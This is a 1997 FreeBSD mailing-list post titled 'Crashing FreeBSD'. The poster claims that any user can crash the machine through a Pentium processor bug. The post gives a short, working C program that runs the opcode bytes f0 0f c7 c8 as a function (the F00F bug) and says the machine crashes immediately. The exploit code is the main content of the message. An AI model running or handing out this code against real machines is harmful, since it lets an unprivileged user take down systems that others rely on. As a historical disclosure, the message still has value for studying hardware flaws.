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Date:      Sun, 9 Nov 1997 20:59:13 -0400 (AST)
From:      026809r@dragon.acadiau.ca (Michael Richards)
To:        freebsd-questions@freebsd.org
Subject:   Crashing FreeBSD
Message-ID:  <199711100059.UAA23095@dragon.acadiau.ca>
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Well folks, it looks like anyone can crash a FreeBSD box. I am told that
this is a bug in the pentium processor. Compile and run, it will crash the
machine right away...

Very simple:


char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };

main () {
    void (*f)() = x;
    f();
}

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